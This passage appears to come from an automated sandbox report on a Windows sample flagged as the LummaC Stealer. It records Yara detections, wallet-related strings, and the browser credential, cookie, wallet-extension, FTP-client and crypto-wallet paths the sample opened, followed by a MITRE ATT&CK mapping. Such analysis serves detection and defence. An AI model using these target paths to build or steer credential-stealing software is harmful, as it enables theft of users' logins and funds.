Source: eYAXkcBRfQ.exe, 00000000.00000003.2193631413.0000000000543000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2423066341.0000000000542000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2210177564.0000000000543000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2297872572.0000000000543000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: eYAXkcBRfQ.exe PID: 4952, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: eYAXkcBRfQ.exe, 00000000.00000003.2194018002.00000000004EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: eYAXkcBRfQ.exe, 00000000.00000003.2173885979.00000000004EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: eYAXkcBRfQ.exe, 00000000.00000003.2173920279.00000000004CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: eYAXkcBRfQ.exe, 00000000.00000003.2173885979.00000000004EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: eYAXkcBRfQ.exe, 00000000.00000003.2173765012.000000000052B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: eYAXkcBRfQ.exe, 00000000.00000003.2173765012.000000000052B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: eYAXkcBRfQ.exe, 00000000.00000003.2194018002.00000000004EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: eYAXkcBRfQ.exe, 00000000.00000003.2173920279.00000000004CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: eYAXkcBRfQ.exe, 00000000.00000003.2193903896.00000000004C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2173885979.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2173802722.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: eYAXkcBRfQ.exe PID: 4952, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: eYAXkcBRfQ.exe PID: 4952, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	44 Virtualization/Sandbox Evasion	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
